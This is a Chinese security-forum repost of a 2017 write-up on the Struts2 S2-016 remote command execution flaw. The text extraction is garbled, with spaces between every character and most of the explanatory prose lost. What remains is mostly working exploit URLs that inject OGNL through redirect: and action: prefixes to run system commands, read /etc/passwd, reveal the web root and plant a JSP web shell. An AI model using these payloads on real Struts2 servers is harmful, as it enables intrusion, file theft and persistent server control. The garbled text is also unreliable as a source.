[20814] 2017-07-09_Struts2最新2013漏洞S-016远程命令执行

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2017-07-09_Struts2最新2013漏洞S-016远程命令执行 S t r u t s 2 2 0 1 3 S - 0 1 6 L e m o n S e c   2 0 1 7 - 0 7 - 0 9 S t r u t s 2 2 0 1 3 S - 0 1 6 a c t i o n r e d i r e c t r e d i r e c t A c t i o n S t r u t s 2 D e f a u l t A c t i o n M a p p e r 使 使 a c t i o n : ,   r e d i r e c t :   ,   r e d i r e c t A c t i o n : 便 便 2 . 3 . 1 5 . 1 s t r u t s 2 a c t i o n : ,   r e d i r e c t :   ,   r e d i r e c t A c t i o n : o n g l p o c   1 o n g l   h t t p : / / w w w . n x a d m i n . c o m / s t r u t s 2 / x . a c t i o n ? % 2 5 ( 3 * 4 )   h t t p : / / w w w . n x a d m i n . c o m / s t r u t s 2 / s a v e . a c t i o n ? r e d i r e c t : % 2 5 ( 3 * 4 )   2   1 h t t p : / / w w w . n x a d m i n . c o m / s t r u t s 2 / X . a c t i o n ? a c t i o n : % 2 5 { ( n e w + j a v a . l a n g . P r o c e s s B u i l d e r ( n e w + j a v a . l a n g . S t r i n g [ ] { c o m m a n d , ' g o e s , ' h e r e } ) ) . s t a r t ( ) }   2 h t t p : / / w w w . n x a d m i n . c o m / s t r u t s 2 / s a v e . a c t i o n ? r e d i r e c t : % 2 5 { ( n e w + j a v a . l a n g . P r o c e s s B u i l d e r ( n e w + j a v a . l a n g . S t r i n g [ ] { c o m m a n d , ' g o e s , ' h e r e } ) ) . s t a r t ( ) }   3 h t t p : / / w w w . n x a d m i n . c o m / s t r u t s 2 / s a v e . a c t i o n ? r e d i r e c t A c t i o n : % 2 5 { ( n e w + j a v a . l a n g . P r o c e s s B u i l d e r ( n e w + j a v a . l a n g . S t r i n g [ ] { c o m m a n d , ' g o e s , ' h e r e } ) ) . s t a r t ( ) }   h t t p : / / w w w . n x a d m i n . c o m / s t r u t s 2 / l o g i n . a c t i o n ? r e d i r e c t : $ { % 2 3 a % 3 d ( n e w   j a v a . l a n g . P r o c e s s B u i l d e r ( n e w   j a v a . l a n g . S t r i n g [ ] { c a t , ' / e t c / p a s s w d } ) ) . s t a r t ( ) , % 2 3 b % 3 d % 2 3 a . g e t I n p u t S t r e a m ( ) , % 2 3 c % 3 d n e w j a v a . i o . I n p u t S t r e a m R e a d e r ( % 2 3 b ) , % 2 3 d % 3 d n e w   j a v a . i o . B u f f e r e d R e a d e r ( % 2 3 c ) , % 2 3 e % 3 d n e w c h a r [ 5 0 0 0 0 ] , % 2 3 d . r e a d ( % 2 3 e ) , % 2 3 m a t t % 3 d % 2 3 c o n t e x t . g e t ( c o m . o p e n s y m p h o n y . x w o r k 2 . d i s p a t c h e r . H t t p S e r v l e t R e s p o n s e ) , % 2 3 m a t t . g e t W r i t e r ( ) . p r i n t l n ( % 2 3 e ) , % 2 3 m a t t . g e t W r i t e r ( ) . f l u s h ( ) , % 2 3 m a t t . g e t W r i t e r ( ) . c l o s e ( ) }     h t t p : / / w w w . n x a d m i n . c o m / s t r u t s 2 / l o g i n . a c t i o n ? r e d i r e c t : $ { % 2 3 a % 3 d % 2 3 c o n t e x t . g e t ( c o m . o p e n s y m p h o n y . x w o r k 2 . d i s p a t c h e r . H t t p S e r v l e t R e q u e s t ) , % 2 3 b % 3 d % 2 3 a . g e t R e a l P a t h ( / ) , % 2 3 m a t t % 3 d % 2 3 c o n t e x t . g e t ( c o m . o p e n s y m p h o n y . x w o r k 2 . d i s p a t c h e r . H t t p S e r v l e t R e s p o n s e ) , % 2 3 m a t t . g e t W r i t e r ( ) . p r i n t l n ( % 2 3 b ) , % 2 3 m a t t . g e t W r i t e r ( ) . f l u s h ( ) , % 2 3 m a t t . g e t W r i t e r ( ) . c l o s e ( ) }   g e t s h e l l , j s p   h t t p : / / w w w . n x a d m i n . c o m / s t r u t s 2 / l o g i n . a c t i o n ? r e d i r e c t : $ { % 2 3 r e q % 3 d % 2 3 c o n t e x t . g e t ( c o m . o p e n s y m p h o n y . x w o r k 2 . d i s p a t c h e r . H t t p S e r v l e t R e q u e s t ) , % 2 3 p % 3 d ( % 2 3 r e q . g e t R e a l P a t h ( % 2 2 / % 2 2 ) % 2 b % 2 2 c s s 3 . j s p % 2 2 ) . r e p l a c e A l l ( , / ) , n e w + j a v a . i o . B u f f e r e d W r i t e r ( n e w + j a v a . i o . F i l e W r i t e r ( % 2 3 p ) ) . a p p e n d ( % 2 3 r e q . g e t P a r a m e t e r ( % 2 2 c % 2 2 ) ) . c l o s e ( ) } & c = % 3 c % 2 5 i f ( r e q u e s t . g e t P a r a m e t e r ( % 2 2 f % 2 2 ) ! % 3 d n u l l ) ( n e w + j a v a . i o . F i l e O u t p u t S t r e a m ( a p p l i c a t i o n . g e t R e a l P a t h ( % 2 2 % 2 f % 2 2 ) % 2 b r e q u e s t . g e t P a r a m e t e r ( % 2 2 f % 2 2 ) ) ) . w r i t e ( r e q u e s t . g e t P a r a m e t e r ( % 2 2 t % 2 2 ) . g e t B y t e s ( ) ) % 3 b % 2 5 % 3 e   s t r u t s 2 ,
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则